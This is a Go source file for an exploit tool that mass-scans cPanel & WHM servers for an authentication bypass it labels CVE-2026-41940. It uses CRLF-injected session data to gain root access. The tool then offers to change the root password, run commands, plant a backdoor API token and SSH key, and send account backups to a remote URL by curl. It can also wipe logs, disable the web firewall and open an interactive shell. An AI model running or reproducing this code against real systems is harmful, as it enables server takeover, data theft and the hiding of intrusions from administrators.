package main

import (
	"bufio"
	"crypto/tls"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/http/httputil"
	"net/url"
	"os"
	"regexp"
	"strings"
	"sync"
	"time"
) 
  
// Colors
const (
	Reset  = "\033[0m"
	Red    = "\033[91m"
	Green  = "\033[92m"
	Yellow = "\033[93m"
	Blue   = "\033[94m"
	Cyan   = "\033[96m"
	White  = "\033[97m"
	Bold   = "\033[1m"
	Dim    = "\033[2m"
)

var verbose bool

const payloadB64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"

type VulnTarget struct {
	Target    string   `json:"target"`
	Token     string   `json:"token"`
	Version   string   `json:"version"`
	APIURL    string   `json:"api_url"`
	Session   string   `json:"session"`
	Timestamp string   `json:"timestamp"`
	Accounts  []string `json:"accounts,omitempty"`
}

type Exploit struct {
	client    *http.Client
	scheme    string
	host      string
	port      int
	canonical string
	timeout   int
}

func NewExploit(target string, timeout int) (*Exploit, error) {
	u, err := url.Parse(target)
	if err != nil {
		return nil, err
	}
	scheme, host := u.Scheme, u.Hostname()
	port := 2087
	if u.Port() != "" {
		fmt.Sscanf(u.Port(), "%d", &port)
	}
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{
		Transport: tr,
		Timeout:   time.Duration(timeout) * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
	return &Exploit{
		client:  client,
		scheme:  scheme,
		host:    host,
		port:    port,
		timeout: timeout,
	}, nil
}

func (e *Exploit) discoverCanonical() string {
	urlStr := fmt.Sprintf("%s://%s:%d/openid_connect/cpanelid", e.scheme, e.host, e.port)
	if verbose {
		fmt.Printf("%s[DBG]%s Discovering canonical: %s\n", Dim, Reset, urlStr)
	}
	req, _ := http.NewRequest("GET", urlStr, nil)
	req.Header.Set("User-Agent", "Mozilla/5.0")
	resp, err := e.client.Do(req)
	if err != nil {
		if verbose {
			fmt.Printf("%s[DBG]%s Discovery error: %v\n", Dim, Reset, err)
		}
		return e.host
	}
	defer resp.Body.Close()
	loc := resp.Header.Get("Location")
	if verbose {
		fmt.Printf("%s[DBG]%s Location: %s\n", Dim, Reset, loc)
	}
	re := regexp.MustCompile(`^https?://([^:/]+)`)
	m := re.FindStringSubmatch(loc)
	if len(m) > 1 {
		return m[1]
	}
	return e.host
}

func (e *Exploit) request(method, path string, headers map[string]string, body io.Reader) (*http.Response, error) {
	urlStr := fmt.Sprintf("%s://%s:%d%s", e.scheme, e.host, e.port, path)
	req, err := http.NewRequest(method, urlStr, body)
	if err != nil {
		return nil, err
	}
	req.Header.Set("Host", fmt.Sprintf("%s:%d", e.canonical, e.port))
	req.Header.Set("Connection", "close")
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
	for k, v := range headers {
		req.Header.Set(k, v)
	}
	if verbose {
		dump, _ := httputil.DumpRequestOut(req, true)
		fmt.Printf("%s[DBG]%s Request:\n%s%s%s\n", Dim, Reset, Dim, string(dump), Reset)
	}
	resp, err := e.client.Do(req)
	if err != nil {
		if verbose {
			fmt.Printf("%s[DBG]%s Request error: %v\n", Dim, Reset, err)
		}
		return nil, err
	}
	if verbose {
		dump, _ := httputil.DumpResponse(resp, true)
		fmt.Printf("%s[DBG]%s Response:\n%s%s%s\n", Dim, Reset, Dim, string(dump), Reset)
	}
	return resp, nil
}

func (e *Exploit) stage1Preauth() (string, error) {
	fmt.Printf("%s[1/4]%s Pre‑auth session...\n", Blue, Reset)
	data := url.Values{}
	data.Set("user", "root")
	data.Set("pass", "wrong")
	resp, err := e.request("POST", "/login/?login_only=1", nil, strings.NewReader(data.Encode()))
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	for _, c := range resp.Cookies() {
		if c.Name == "whostmgrsession" {
			s, _ := url.QueryUnescape(c.Value)
			if idx := strings.Index(s, ","); idx != -1 {
				return s[:idx], nil
			}
			return s, nil
		}
	}
	raw := resp.Header.Get("Set-Cookie")
	re := regexp.MustCompile(`whostmgrsession=([^;,]+)`)
	m := re.FindStringSubmatch(raw)
	if len(m) > 1 {
		s, _ := url.QueryUnescape(m[1])
		if idx := strings.Index(s, ","); idx != -1 {
			return s[:idx], nil
		}
		return s, nil
	}
	return "", fmt.Errorf("no session cookie")
}

func (e *Exploit) stage2Inject(sessionBase string) (string, error) {
	fmt.Printf("%s[2/4]%s CRLF injection...\n", Blue, Reset)
	headers := map[string]string{
		"Authorization": fmt.Sprintf("Basic %s", payloadB64),
		"Cookie":        fmt.Sprintf("whostmgrsession=%s", url.QueryEscape(sessionBase)),
	}
	resp, err := e.request("GET", "/", headers, nil)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	loc := resp.Header.Get("Location")
	re := regexp.MustCompile(`/cpsess(\d{10})`)
	m := re.FindStringSubmatch(loc)
	if len(m) < 2 {
		return "", fmt.Errorf("no token")
	}
	token := fmt.Sprintf("/cpsess%s", m[1])
	fmt.Printf("    %s[+]%s Token: %s\n", Green, Reset, token)
	return token, nil
}

func (e *Exploit) stage3Propagate(sessionBase string) {
	fmt.Printf("%s[3/4]%s Propagating session...\n", Blue, Reset)
	headers := map[string]string{
		"Cookie": fmt.Sprintf("whostmgrsession=%s", url.QueryEscape(sessionBase)),
	}
	e.request("GET", "/scripts2/listaccts", headers, nil)
}

func (e *Exploit) stage4Verify(sessionBase, token string) (map[string]interface{}, error) {
	fmt.Printf("%s[4/4]%s Verifying root access...\n", Blue, Reset)
	headers := map[string]string{
		"Cookie": fmt.Sprintf("whostmgrsession=%s", url.QueryEscape(sessionBase)),
	}
	path := fmt.Sprintf("%s/json-api/version", token)
	resp, err := e.request("GET", path, headers, nil)
	if err != nil {
		return map[string]interface{}{"confirmed": false}, err
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)
	bodyStr := string(body)
	if resp.StatusCode == 200 && strings.Contains(bodyStr, "version") {
		re := regexp.MustCompile(`"version"\s*:\s*"([^"]+)"`)
		m := re.FindStringSubmatch(bodyStr)
		version := ""
		if len(m) > 1 {
			version = m[1]
		}
		evidence := bodyStr
		if len(evidence) > 600 {
			evidence = evidence[:600]
		}
		return map[string]interface{}{"confirmed": true, "version": version, "body": evidence}, nil
	}
	return map[string]interface{}{"confirmed": false}, nil
}

func (e *Exploit) whmAPI(sessionBase, token, function string, params map[string]string) (int, map[string]interface{}) {
	cookieEnc := url.QueryEscape(sessionBase)
	qs := "api.version=1"
	for k, v := range params {
		if v != "" {
			qs += fmt.Sprintf("&%s=%s", url.QueryEscape(k), url.QueryEscape(v))
		}
	}
	path := fmt.Sprintf("%s/json-api/%s?%s", token, function, qs)
	headers := map[string]string{"Cookie": fmt.Sprintf("whostmgrsession=%s", cookieEnc)}
	resp, err := e.request("GET", path, headers, nil)
	if err != nil {
		return 0, nil
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)
	var data map[string]interface{}
	json.Unmarshal(body, &data)
	return resp.StatusCode, data
}

// ------------------ Actions ------------------

func (e *Exploit) actionListAccounts(sessionBase, token string) []string {
	var accounts []string
	status, data := e.whmAPI(sessionBase, token, "listaccts", map[string]string{"search": "", "searchtype": "user"})
	if status == 200 {
		if dataMap, ok := data["data"].(map[string]interface{}); ok {
			if accts, ok := dataMap["acct"].([]interface{}); ok {
				for _, a := range accts {
					acct := a.(map[string]interface{})
					accounts = append(accounts, fmt.Sprintf("%s (%s)", acct["user"], acct["domain"]))
					fmt.Printf("    %s•%s User: %s | Domain: %s\n", Green, Reset, acct["user"], acct["domain"])
				}
			}
		}
	}
	return accounts
}

func (e *Exploit) actionChangePasswd(sessionBase, token, newPassword string) {
	status, data := e.whmAPI(sessionBase, token, "passwd", map[string]string{"user": "root", "password": newPassword})
	fmt.Printf("    %s[PASSWD]%s HTTP %d\n", Cyan, Reset, status)
	if status == 200 {
		if meta, ok := data["metadata"].(map[string]interface{}); ok {
			if reason, ok := meta["reason"]; ok {
				fmt.Printf("    %s[✓]%s %s\n", Green, Reset, reason)
			}
		}
	}
}

func (e *Exploit) actionExecCmd(sessionBase, token, cmd string) {
	status, data := e.whmAPI(sessionBase, token, "scripts/exec", map[string]string{"command": cmd})
	fmt.Printf("    %s[CMD]%s HTTP %d\n", Cyan, Reset, status)
	if data != nil {
		if meta, ok := data["metadata"].(map[string]interface{}); ok {
			if reason, ok := meta["reason"]; ok {
				fmt.Printf("    %s[→]%s %s\n", Yellow, Reset, reason)
			}
		}
	}
}

func (e *Exploit) actionServerInfo(sessionBase, token string) {
	fmt.Printf("    %s[→]%s Server info...\n", Cyan, Reset)
	status, data := e.whmAPI(sessionBase, token, "gethostname", map[string]string{})
	if status == 200 {
		if d, ok := data["data"].(map[string]interface{}); ok {
			fmt.Printf("    %s[•]%s Hostname: %s\n", Green, Reset, d["hostname"])
		}
	}
	status, data = e.whmAPI(sessionBase, token, "loadavg", map[string]string{})
	if status == 200 {
		fmt.Printf("    %s[•]%s Load: 1m=%s, 5m=%s, 15m=%s\n", Green, Reset, data["one"], data["five"], data["fifteen"])
	}
	status, data = e.whmAPI(sessionBase, token, "version", map[string]string{})
	if status == 200 {
		if d, ok := data["data"].(map[string]interface{}); ok {
			fmt.Printf("    %s[•]%s Version: %s\n", Green, Reset, d["version"])
		}
	}
}

func (e *Exploit) actionCreateUser(sessionBase, token, username, domain, password string) {
	params := map[string]string{"username": username, "domain": domain, "password": password, "plan": "default"}
	status, data := e.whmAPI(sessionBase, token, "createacct", params)
	fmt.Printf("    %s[ADDUSER]%s HTTP %d\n", Cyan, Reset, status)
	if meta, ok := data["metadata"].(map[string]interface{}); ok {
		if reason, ok := meta["reason"]; ok {
			fmt.Printf("    %s[→]%s %s\n", Yellow, Reset, reason)
		}
	}
}

func (e *Exploit) actionCreateAPIToken(sessionBase, token, tokenName string) {
	fmt.Printf("    %s[→]%s Creating API token: %s\n", Cyan, Reset, tokenName)
	params := map[string]string{
		"name":       tokenName,
		"expires":    "0",
		"scope":      "all",
		"privileges": "root",
	}
	status, data := e.whmAPI(sessionBase, token, "api_token_create", params)
	if status == 200 {
		if d, ok := data["data"].(map[string]interface{}); ok {
			if t, ok := d["token"].(string); ok {
				fmt.Printf("    %s[✓]%s Token: %s\n", Green, Reset, t)
				fmt.Printf("    %s[!]%s Use: curl -H \"Authorization: whm root:%s\" https://%s:%d/json-api/version\n", Yellow, Reset, t, e.host, e.port)
			}
		}
	} else {
		fmt.Printf("    %s[✗]%s Failed (HTTP %d)\n", Red, Reset, status)
	}
}

func (e *Exploit) actionInjectSSHKey(sessionBase, token, pubKey string) {
	fmt.Printf("    %s[→]%s Injecting SSH key...\n", Cyan, Reset)
	keyEsc := strings.ReplaceAll(pubKey, "'", "'\\''")
	cmd := fmt.Sprintf("mkdir -p /root/.ssh && echo '%s' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys", keyEsc)
	e.actionExecCmd(sessionBase, token, cmd)
	fmt.Printf("    %s[✓]%s SSH key added.\n", Green, Reset)
}

func (e *Exploit) actionDumpAndExfil(sessionBase, token, username, remoteURL string) {
	fmt.Printf("    %s[→]%s Backing up %s...\n", Cyan, Reset, username)
	status, data := e.whmAPI(sessionBase, token, "pkgacct", map[string]string{"user": username})
	if status != 200 {
		fmt.Printf("    %s[✗]%s Backup failed (HTTP %d)\n", Red, Reset, status)
		return
	}
	backupFile := ""
	if d, ok := data["data"].(map[string]interface{}); ok {
		if file, ok := d["file"].(string); ok {
			backupFile = file
		}
	}
	if backupFile == "" {
		fmt.Printf("    %s[✗]%s Could not locate backup\n", Red, Reset)
		return
	}
	fmt.Printf("    %s[→]%s Exfiltrating to %s\n", Cyan, Reset, remoteURL)
	exfilCmd := fmt.Sprintf("curl -X POST -F 'file=@%s' %s", backupFile, remoteURL)
	e.actionExecCmd(sessionBase, token, exfilCmd)
	e.actionExecCmd(sessionBase, token, fmt.Sprintf("rm -f %s", backupFile))
	fmt.Printf("    %s[✓]%s Backup sent and removed.\n", Green, Reset)
}

func (e *Exploit) actionWipeLogs(sessionBase, token string) {
	fmt.Printf("    %s[→]%s Wiping logs & disabling WAF...\n", Cyan, Reset)
	e.actionExecCmd(sessionBase, token, "a2dismod mod_security 2>/dev/null; /etc/init.d/httpd restart 2>/dev/null || systemctl restart httpd 2>/dev/null")
	e.actionExecCmd(sessionBase, token, "> /usr/local/cpanel/logs/access_log && > /usr/local/cpanel/logs/error_log && > /var/log/messages && > /var/log/secure")
	e.actionExecCmd(sessionBase, token, "history -c && > ~/.bash_history && for u in $(ls /home); do > /home/$u/.bash_history; done")
	e.actionExecCmd(sessionBase, token, "> /var/log/cron && > /var/log/maillog && > /var/log/httpd/*_log 2>/dev/null || true")
	fmt.Printf("    %s[✓]%s Traces cleared.\n", Green, Reset)
}

func (e *Exploit) interactiveShell(sessionBase, token string) {
	fmt.Printf("\n%s┌─────────────────────────────────────────────────────────────┐%s\n", Green, Reset)
	fmt.Printf("%s│%s                  %sWHM INTERACTIVE SHELL%s                        %s│%s\n", Green, Reset, Bold, Reset, Green, Reset)
	fmt.Printf("%s├─────────────────────────────────────────────────────────────┤%s\n", Green, Reset)
	fmt.Printf("%s│%s  accounts | passwd | exec | info | version | help | exit %s│%s\n", Green, Reset, Green, Reset)
	fmt.Printf("%s└─────────────────────────────────────────────────────────────┘%s\n\n", Green, Reset)
	scanner := bufio.NewScanner(os.Stdin)
	for {
		fmt.Printf("%s┌─[%sWHM%s]%s\n", Cyan, Green, Cyan, Reset)
		fmt.Printf("%s└──%s> ", Green, Reset)
		if !scanner.Scan() {
			break
		}
		line := strings.TrimSpace(scanner.Text())
		if line == "" {
			continue
		}
		parts := strings.SplitN(line, " ", 2)
		cmd := strings.ToLower(parts[0])
		arg := ""
		if len(parts) > 1 {
			arg = parts[1]
		}
		switch cmd {
		case "exit", "quit":
			fmt.Printf("%s[!]%s Exiting shell\n", Yellow, Reset)
			return
		case "help":
			fmt.Printf(`
%sCommands:%s
  accounts          - list all cPanel accounts
  passwd <pass>     - change root password
  exec <command>    - execute OS command
  info              - show server info
  version           - show cPanel version
  exit              - quit shell
`, Cyan, Reset, Green, Reset, Green, Reset, Green, Reset, Green, Reset, Green, Reset)
		case "accounts":
			e.actionListAccounts(sessionBase, token)
		case "passwd":
			if arg != "" {
				e.actionChangePasswd(sessionBase, token, arg)
			} else {
				fmt.Printf("    %s[!]%s Usage: passwd <new_password>\n", Yellow, Reset)
			}
		case "exec":
			if arg != "" {
				e.actionExecCmd(sessionBase, token, arg)
			}
		case "info":
			e.actionServerInfo(sessionBase, token)
		case "version":
			e.whmAPI(sessionBase, token, "version", map[string]string{})
		default:
			fmt.Printf("    %s[!]%s Unknown command\n", Yellow, Reset)
		}
		fmt.Println()
	}
}

// ---------- Scan & Output ----------

func scanTarget(target string, action, passwd, cmd, newUser, newDomain, tokenName, sshKey, exfilUser, exfilURL string, timeout int, vulnTargets *[]VulnTarget, mu *sync.Mutex, resultsFile string) {
	fmt.Printf("\n%s[→]%s %s\n", Blue, Reset, target)
	exploit, err := NewExploit(target, timeout)
	if err != nil {
		fmt.Printf("%s[✗]%s Failed: %v\n", Red, Reset, err)
		return
	}
	exploit.canonical = exploit.discoverCanonical()
	sessionBase, err := exploit.stage1Preauth()
	if err != nil {
		fmt.Printf("%s[✗]%s Stage1: %v\n", Red, Reset, err)
		return
	}
	token, err := exploit.stage2Inject(sessionBase)
	if err != nil {
		fmt.Printf("%s[✗]%s Stage2: %v\n", Red, Reset, err)
		return
	}
	exploit.stage3Propagate(sessionBase)
	verify, err := exploit.stage4Verify(sessionBase, token)
	if err != nil || !verify["confirmed"].(bool) {
		fmt.Printf("%s[✗]%s Not vulnerable\n", Yellow, Reset)
		return
	}
	version := verify["version"].(string)
	apiURL := fmt.Sprintf("%s://%s:%d%s/json-api/version", exploit.scheme, exploit.host, exploit.port, token)
	sessionShort := sessionBase
	if len(sessionShort) > 30 {
		sessionShort = sessionShort[:30] + "..."
	}

	// Pretty box
	fmt.Printf("\n%s╔════════════════════════════════════════════════════════════════╗%s\n", Red, Reset)
	fmt.Printf("%s║%s %s%sVULNERABLE%s %s║%s\n", Red, Reset, Bold, Green, Reset, Red, Reset)
	fmt.Printf("%s╠════════════════════════════════════════════════════════════════╣%s\n", Red, Reset)
	fmt.Printf("%s║%s %sTarget:%s %-60s %s║%s\n", Red, Reset, Cyan, Reset, target, Red, Reset)
	fmt.Printf("%s║%s %sToken:%s %-60s %s║%s\n", Red, Reset, Cyan, Reset, token, Red, Reset)
	fmt.Printf("%s║%s %sVersion:%s %-60s %s║%s\n", Red, Reset, Cyan, Reset, version, Red, Reset)
	fmt.Printf("%s║%s %sSession:%s %-59s %s║%s\n", Red, Reset, Cyan, Reset, sessionShort, Red, Reset)
	fmt.Printf("%s║%s %sAPI URL:%s %-56s %s║%s\n", Red, Reset, Cyan, Reset, apiURL, Red, Reset)
	fmt.Printf("%s╚════════════════════════════════════════════════════════════════╝%s\n\n", Red, Reset)

	var accounts []string
	if action != "" {
		fmt.Printf("%s[+]%s Action: %s\n", Green, Reset, strings.ToUpper(action))
		switch action {
		case "list":
			accounts = exploit.actionListAccounts(sessionBase, token)
		case "passwd":
			if passwd != "" {
				exploit.actionChangePasswd(sessionBase, token, passwd)
			}
		case "cmd":
			if cmd != "" {
				exploit.actionExecCmd(sessionBase, token, cmd)
			}
		case "info":
			exploit.actionServerInfo(sessionBase, token)
		case "adduser":
			if newUser != "" && newDomain != "" {
				p := passwd
				if p == "" {
					p = "TempPass2026!"
				}
				exploit.actionCreateUser(sessionBase, token, newUser, newDomain, p)
			}
		case "apitoken":
			name := tokenName
			if name == "" {
				name = fmt.Sprintf("bkdr_%d", time.Now().Unix())
			}
			exploit.actionCreateAPIToken(sessionBase, token, name)
		case "sshkey":
			if sshKey != "" {
				exploit.actionInjectSSHKey(sessionBase, token, sshKey)
			} else {
				fmt.Printf("    %s[!]%s Provide -sshkey\n", Yellow, Reset)
			}
		case "dumpacct":
			if exfilUser != "" && exfilURL != "" {
				exploit.actionDumpAndExfil(sessionBase, token, exfilUser, exfilURL)
			} else {
				fmt.Printf("    %s[!]%s Need -dumpuser and -exfil\n", Yellow, Reset)
			}
		case "wipe":
			exploit.actionWipeLogs(sessionBase, token)
		case "shell":
			exploit.interactiveShell(sessionBase, token)
		default:
			fmt.Printf("    %s[!]%s Unknown action\n", Yellow, Reset)
		}
		fmt.Println()
	}
	vulnData := VulnTarget{
		Target:    target,
		Token:     token,
		Version:   version,
		APIURL:    apiURL,
		Session:   sessionBase,
		Timestamp: time.Now().Format(time.RFC3339),
		Accounts:  accounts,
	}
	mu.Lock()
	*vulnTargets = append(*vulnTargets, vulnData)
	if resultsFile != "" {
		saveSingleResult(*vulnTargets, resultsFile)
	}
	mu.Unlock()
}

func saveSingleResult(vuln []VulnTarget, fname string) {
	data, _ := json.MarshalIndent(map[string]interface{}{
		"scan_time":        time.Now().Format(time.RFC3339),
		"total_vulnerable": len(vuln),
		"vulnerable":       vuln,
	}, "", "  ")
	os.WriteFile(fname, data, 0644)
}

func saveFinalResults(vuln []VulnTarget, fname string) {
	if fname == "" {
		fname = fmt.Sprintf("cpanel_vuln_%s.json", time.Now().Format("20060102_150405"))
	}
	data, _ := json.MarshalIndent(map[string]interface{}{
		"scan_time":        time.Now().Format(time.RFC3339),
		"total_vulnerable": len(vuln),
		"vulnerable":       vuln,
	}, "", "  ")
	os.WriteFile(fname, data, 0644)
	fmt.Printf("\n%s[✓]%s JSON saved: %s\n", Green, Reset, fname)
}

func printSummary(vuln []VulnTarget, totalScanned int, start time.Time) {
	elapsed := time.Since(start)
	fmt.Printf("\n%s════════════════════════════════════════════════════════════════════%s\n", Cyan, Reset)
	fmt.Printf("%s                    SCAN COMPLETE SUMMARY                          %s\n", Bold, Reset)
	fmt.Printf("%s════════════════════════════════════════════════════════════════════%s\n", Cyan, Reset)
	fmt.Printf("  %sTotal Targets Scanned:%s %d\n", White, Reset, totalScanned)
	fmt.Printf("  %sVulnerable Targets:%s %s%d%s\n", White, Reset, Green, len(vuln), Reset)
	fmt.Printf("  %sTime Elapsed:%s %.2f seconds\n", White, Reset, elapsed.Seconds())
	if len(vuln) > 0 {
		fmt.Printf("\n%sVULNERABLE TARGETS:%s\n", Bold, Reset)
		fmt.Printf("%s────────────────────────────────────────────────────────────────%s\n", Cyan, Reset)
		for i, v := range vuln {
			sessionShort := v.Session
			if len(sessionShort) > 35 {
				sessionShort = sessionShort[:35] + "..."
			}
			fmt.Printf("  %s%d.%s %s%s%s\n", Green, i+1, Reset, Yellow, v.Target, Reset)
			fmt.Printf("      Token: %s\n", v.Token)
			fmt.Printf("      Version: %s\n", v.Version)
			fmt.Printf("      Session: %s\n", sessionShort)
		}
	}
	fmt.Printf("%s════════════════════════════════════════════════════════════════════%s\n\n", Cyan, Reset)
}

func printBanner() {
	fmt.Printf(`
%s╔════════════════════════════════════════════════════════════════════╗%s
%s║%s      %sCVE-2026-41940 - cPanel & WHM Authentication Bypass Scanner       %s%s║%s
%s╠════════════════════════════════════════════════════════════════════╣%s
%s║%s  %sTool by: Ishan Oshada                                    %s║%s
%s║%s  %sWebsite: ishanoshada.com                                 %s║%s
%s║%s  %sGitHub: github.com/ishanoshada                           %s║%s
%s╚════════════════════════════════════════════════════════════════════╝%s
`, Cyan, Reset,
		Cyan, Reset, Bold, Yellow, Reset, Cyan, Reset,
		Cyan, Reset,
		Cyan, Reset, White, Reset, Cyan, Reset,
		Cyan, Reset, White, Reset, Cyan, Reset,
		Cyan, Reset, White, Reset, Cyan, Reset,
		Cyan, Reset)
}

func printHelp() {
	fmt.Printf(`
%sUSAGE:%s

  ▶ Basic scan
    go run main.go -u https://TARGET:2087

  ▶ List accounts
    go run main.go -u TARGET:2087 -action list

  ▶ Change root password
    go run main.go -u TARGET:2087 -action passwd -passwd "NewP@ss2006"

  ▶ Execute command
    go run main.go -u TARGET:2087 -action cmd -cmd "id"

  ▶ Server info
    go run main.go -u TARGET:2087 -action info

  ▶ Create API token (stealthy persistence)
    go run main.go -u TARGET:2087 -action apitoken -tokenname mytoken

  ▶ Inject SSH key (direct root access)
    go run main.go -u TARGET:2087 -action sshkey -sshkey "ssh-rsa AAAA..."

  ▶ Dump & exfiltrate account
    go run main.go -u TARGET:2087 -action dumpacct -dumpuser USER -exfil https://attacker/upload

  ▶ Wipe logs & disable WAF (cover tracks)
    go run main.go -u TARGET:2087 -action wipe

  ▶ Interactive WHM shell
    go run main.go -u TARGET:2087 -action shell

  ▶ Mass scan from file
    go run main.go -l urls.txt -t 20 -o results.json

  ▶ Verbose mode (show HTTP dumps)
    go run main.go -u TARGET:2087 --verbose

%sOPTIONS:%s

  -u           Target URL
  -l           File with targets (one per line)
  -t           Threads (default 10)
  -timeout     Request timeout in seconds (default 15)
  -action      list, passwd, cmd, info, adduser, apitoken, sshkey, dumpacct, wipe, shell
  -passwd      New password
  -cmd         Command to execute
  -new-user    Username for adduser
  -new-domain  Domain for adduser
  -tokenname   Name for API token (apitoken)
  -sshkey      Public SSH key to inject
  -dumpuser    Username to backup (dumpacct)
  -exfil       Remote URL for exfiltration
  -o           Output JSON file (auto-saves)
  --verbose    Show HTTP requests/responses
  -h           Help

%s════════════════════════════════════════════════════════════════════%s
`, Yellow, Reset,
		Green, Reset,
		Green, Reset,
		Green, Reset,
		Green, Reset,
		Green, Reset,
		Green, Reset,
		Green, Reset,
		Green, Reset,
		Green, Reset,
		Cyan, Reset,
		Yellow, Reset,
		Cyan, Reset)
}

func main() {
	u := flag.String("u", "", "Target URL")
	l := flag.String("l", "", "File with targets")
	threads := flag.Int("t", 10, "Threads")
	timeout := flag.Int("timeout", 15, "Timeout")
	action := flag.String("action", "", "Action")
	passwd := flag.String("passwd", "", "Password")
	cmd := flag.String("cmd", "", "Command")
	newUser := flag.String("new-user", "", "Username")
	newDomain := flag.String("new-domain", "", "Domain")
	tokenName := flag.String("tokenname", "", "API token name")
	sshKey := flag.String("sshkey", "", "Public SSH key")
	dumpUser := flag.String("dumpuser", "", "User to backup")
	exfilURL := flag.String("exfil", "", "Exfiltration URL")
	output := flag.String("o", "", "Output JSON")
	help := flag.Bool("h", false, "Help")
	flag.BoolVar(&verbose, "verbose", false, "Verbose output")
	flag.Parse()

	if *help || (*u == "" && *l == "" && flag.NArg() == 0) {
		printBanner()
		printHelp()
		return
	}
	printBanner()

	var targets []string
	// stdin
	stat, _ := os.Stdin.Stat()
	if (stat.Mode() & os.ModeCharDevice) == 0 {
		s := bufio.NewScanner(os.Stdin)
		for s.Scan() {
			line := strings.TrimSpace(s.Text())
			if line != "" {
				if !strings.Contains(line, "://") {
					line = "https://" + line
				}
				targets = append(targets, line)
			}
		}
	}
	if *u != "" {
		targets = append(targets, *u)
	}
	if *l != "" {
		f, err := os.Open(*l)
		if err == nil {
			s := bufio.NewScanner(f)
			for s.Scan() {
				line := strings.TrimSpace(s.Text())
				if line != "" && !strings.HasPrefix(line, "#") {
					if !strings.Contains(line, "://") {
						line = "https://" + line
					}
					targets = append(targets, line)
				}
			}
			f.Close()
		}
	}
	if len(targets) == 0 {
		fmt.Printf("%s[✗]%s No targets\n", Red, Reset)
		return
	}

	fmt.Printf("%s[INFO]%s Targets: %d, Threads: %d, Verbose: %v\n", Cyan, Reset, len(targets), *threads, verbose)

	var vulnTargets []VulnTarget
	var mu sync.Mutex
	var wg sync.WaitGroup
	sem := make(chan struct{}, *threads)
	start := time.Now()
	for _, t := range targets {
		wg.Add(1)
		go func(target string) {
			defer wg.Done()
			sem <- struct{}{}
			defer func() { <-sem }()
			defer func() {
				if r := recover(); r != nil {
					fmt.Printf("%s[PANIC]%s %s: %v\n", Red, Reset, target, r)
				}
			}()
			scanTarget(target, *action, *passwd, *cmd, *newUser, *newDomain,
				*tokenName, *sshKey, *dumpUser, *exfilURL, *timeout,
				&vulnTargets, &mu, *output)
		}(t)
	}
	wg.Wait()
	printSummary(vulnTargets, len(targets), start)
	if len(vulnTargets) > 0 && *output != "" {
		saveFinalResults(vulnTargets, *output)
	}
}
